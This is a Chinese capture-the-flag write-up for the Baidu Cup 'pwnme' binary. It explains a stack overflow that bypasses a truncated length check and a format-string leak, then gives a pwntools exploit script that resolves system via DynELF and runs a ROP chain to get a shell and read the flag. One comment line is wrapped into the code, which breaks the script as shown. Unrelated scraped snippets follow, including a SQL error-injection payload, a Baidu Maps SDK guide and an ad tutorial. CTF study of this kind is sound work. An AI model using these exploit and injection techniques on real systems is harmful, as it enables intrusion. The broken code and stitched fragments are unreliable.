十一月百度杯pwnme 详细wp

目录

  • 程序基本信息
  • 程序溢出点
  • 整体思路
  • exp脚本
  • 成功获得flag
  • 参考

程序基本信息

可以看到开启了栈不可执行和got表不可写保护。

程序溢出点

在函数sub_400AF7中,v8可以读入0x12C个字节,同时if判断中对v8进行字节截断,所以我们可以输入如0x101个字符,在保证能够溢出到返回地址的同时,v8字节截断后的0x01又能够通过if判断,然后通过函数sub_400A90进行溢出。

函数sub_400AD1中存在格式化字符串漏洞,我们可以通过这个漏洞泄露任意地址的内容,并通过DynELF类获得system函数的地址。

整体思路

这个程序首先让你输入username跟password,然后提供三个选项

溢出漏洞位于选项2中,格式化漏洞在选项1中。
我们在输入完username和password后,首先进入选项2中,然后构造合适的payload,然后让程序调用选项1能够泄露任意地址的内容,从而可以通过DynELF类获取sytem地址。
然后让程序进入选项2中,构造能够溢出并绕过if的payload,通过ROP技术调用read函数输入/bin/sh并调用sytem函数完成system(‘/bin/sh‘)pwn掉程序。

exp脚本

from pwn import *

io = remote('106.75.2.53',10006)

io.recvuntil('Input your username(max lenth:40): \n')
io.sendline('asd')                                                  #输入username
io.recvuntil('Input your password(max lenth:40): \n')
io.sendline('1')                                                      #输入password

def leak(addr):
    io.recvuntil('>')
    io.sendline('2')
    io.recvuntil('please input new username(max lenth:20): \n')
    io.sendline('BBBBB') #输入任意大于0小于0x20个字符
    io.recvuntil('please input new password(max lenth:20): \n')
    payload1 = '%12$s'                                      #64位前六个参数用寄存器传参,6个以后用栈传参,需要泄露内容
#的地址在rsp下6位处,所以printf取第(6+7)个参数
    payload1 += 'aaaaaaa'  #padding                 #使地址处在第13个参数处
    payload1 += p64(addr)
    io.send(payload1)
    io.recvuntil('>')
    io.sendline('1')
    content = io.recvuntil('aaaaaaa')                   #读取对应地址泄露的内容
    # log.info("%#x -> %s" %(addr, (content or '').encode('hex')))
    if len(content) == 13:                                    #前面5个B,并且在栈中以0x0A结尾,也就是6个字节,后面7个a,
#一共13个字节,说明没有内容泄露
         return '\x00'
    else:
        return content[6:-7]                                   #返回泄露的内容

d = DynELF(leak,elf = ELF('./pwnme'))
system_addr = d.lookup('system','libc')            #获取system函数在内存中的位置
log.info('system_addr:%#x' % system_addr)

io.recvuntil('>')
io.sendline('2')
io.recvuntil('please input new username(max lenth:20): \n')
io.sendline('A')                                                  #输入任意大于0小于0x20个字符
io.recvuntil('please input new password(max lenth:20): \n')

pop_rdi_addr = 0x400ed3                                 #pop rdi;ret
pop_5_addr = 0x400ecb                                   #pop rbp;pop r12;pop r13;pop r14;pop r15;ret
read_got = 0x601FC8                                       #read函数got表地址
bin_sh_addr = 0x602010                                  #/bin/sh写入地址,在bss段中
mov_3_addr = 0x400EB0                        #mov rdx,r13;mov rsi,r14;mov edi,r15d; call qword ptr [r12 + rbx*8];add rbx,1;
cmp rbx,rbp;jnz short loc_400eb0

payload = ''
payload +='A' * 0x28                                          #padding 0x20个字节到栈底,加8溢出程序
payload += p64(pop_5_addr)
payload += p64(0x1)                                          # rbp = 1,由于在mov_3_addr代码段有命令cmp rbx,rbp,jnz short loc_400eb0;rbx为0并且执行了add rbx,1指令,所以将rbp置1防止程序跳转发生错误
payload += p64(read_got)                                  # r12 = read函数got表地址
payload += p64(0x8) #r13 = 0x8
payload += p64(bin_sh_addr)                            #r14 = /bin/sh地址
payload += p64(0) #r15 = 0
payload += p64(mov_3_addr)                           #rdx = 0x8,rsi = /bin/sh地址,edi = 0,这段代码相当于read(0,/bin/sh地址,0x8)
payload += p64(0x8) * 7                                    #运行完mov_3_addr指令后接下来有add rsp,8和6个pop才到ret,用7个p64(0x8)滑过这段代码到ret
payload += p64(pop_rdi_addr)
payload += p64(bin_sh_addr)                           #rdi  = /bin/sh地址
payload += p64(system_addr)                          #system('bin/sh')
payload = payload.ljust(0x101,'A')                    #填充到0x101个字节绕过if

io.sendline(payload)
io.sendline('/bin/sh\x00')                                   #输入/bin/sh
io.sendline('cat flag')                                         #由于交互一会就会中断,所以直接发送命令获得flag
io.interactive()

成功获得flag

参考

百度杯十一月场 pwnme

原文地址:https://www.cnblogs.com/luoleqi/p/11567953.html

时间: 2024-10-14 05:03:04

十一月百度杯pwnme 详细wp的相关文章

2017 百度杯丶二月场第一周WP

1.祸起北荒 题目: 亿万年前 天子之子华夜,被父神之神末渊上神告知六荒十海之北荒西二旗即将发生一场"百度杯"的诸神之战 他作为天族的太子必须参与到此次诸神之战定六荒十海 华夜临危受命,马上带着火凤凰飞行到北荒"西二旗" 却没想到这六荒之首北荒西二旗果然名不虚传,这是一个位于六层虚数空间上的时空大陆 他需要闯过每一层虚数空间,方能到达虚数空间 第一层虚数空间是需要与一个上古神器"i春秋"进行智能比拼,获取开启第一层虚数空间的flag 启动法诀:

百度杯WriteUp

十月第一场 签到题 misc 纯属脑洞题,在i春秋公众号里输入 百度杯么么哒 就可以拿到flag 我要变成一只程序猿 misc 下载文件,看到里面txt是一段c语言写的代码 #include<stdio.h> #include<string.h> void main() { char str[100]=""; int i; int len; printf("input string:\n"); gets(str); len=strlen(st

SQL报错注入结合sqli lab和百度杯CTF VId

0x00 背景 学习记录一下报错型的注入,经各方整理和自己总结形成. 所有的注入原理都是一样,即用户输入被拼接执行.但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入. 0x01概念 报错型注入的利用大概有以下3种方式: 1:?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1

“百度杯”CTF比赛 九月场_YeserCMS

题目在i春秋ctf大本营 题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞 这里我利用的是无限报错注入 访问url/celive/live/header.php,直接进行报错注入 xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),

2018小训—“百度杯”CTF比赛_九月场_SQLi

题目源: i春秋CTF大本营 小工具: Burp Suite(抓包神器) 思路点用黄色加粗标记,操作点用绿色加粗标记 解题的流程: 1.点进去一片空白习惯性,看源码.<!-- login.php?id=1 -->,看来要改改url.将原来的"/XXXXXX.php"换成"/login.php?id=1".访问之后思维变成了直接开注入?但是没什么用...如果这时用sqlmap测试会发现这是个假的注入点.真的在哪里?只能猜猜,访问index.php.在控制台

2017 百度杯丶春秋欢乐赛 writeup

1. 内涵图(Misc) 题目: 我不是一个简单的图片 我是一个有内涵的图片 解:保存到桌面,右键属性->详细信息,即可获得flag. 2. 小电影(Misc) 题目: 我说过 这次比赛是让大家开开心心的度过的 所以 送给你们一个小电影 解:图片被损坏. (1)检查文件头,发现没有GIF8,用winhex补上. (2)重新打开gif,图片已修复. (3)使用Stegsolve分帧查看,可得flag. 3.水果宴 题目: 你吃了多少水果 访问地址:http://120.132.85.112:200

“百度杯”CTF比赛(二月场)-web-writeup

爆破一: 打开网页看到源代码: 根据提示这题就是找变量的值,本想爆破,但不太现实.百度 php获取变量的值 有个超全局数组 $GLOBALS 爆破二: 打开网页看到源代码: 看到了eval() 函数,想到命令执行 提示不在变量中,应该再flag.php中 Exp: ?hello=);system("cat flag.php");// 闭合前面,注释后面 但有一个问题,就是会被i春秋自己的waf挡,我们改成post,然后传一个参数,让其值大约2万个左右. 爆破三: 打开网页看到源代码:

Android 导入百度地图SDK 详细步骤

今天交大家咋么来接入百度地图的SDK,步骤其实和百度官网上的开发指南一样,写下来做做总结. 1. 注册百度开发者账号,直接到官网注册就行,如果没有注册,你在获取秘钥的时候系统会提醒你注册.百度的LBS的首页网址是: http://developer.baidu.com/map/index.php?title=%E9%A6%96%E9%A1%B5 2. 有了百度开发者账户后就可以去申请要开发的APP,由于百度SDK需要和App绑定,在创建APP的时候需要提供android秘钥和package包名,

创建移动端网页百度联盟广告位详细教程

如图: 打开百度联盟后台,进入合作管理,代码位管理,可以创建代码位,下面展示的是已经创建好的代码位. 创建代码位 如果是只想展示图文形式的广告,则在样式设置中勾选图文广告,其他取消勾选 创建好的图文广告样式如图: 如果想要设置在新闻图片列表中偶尔插入一个广告位的形式,可以选择自定义比例: 应该只有20:6以上的比例才可以设置特色样式,选择股东图片数,启用,填充行数和列数即是一行显示几个广告,一共显示几行,如果只想显示一个,则可以这里设置1,1 ,并切记选择按父容器宽度. 实现效果如图: 信息流以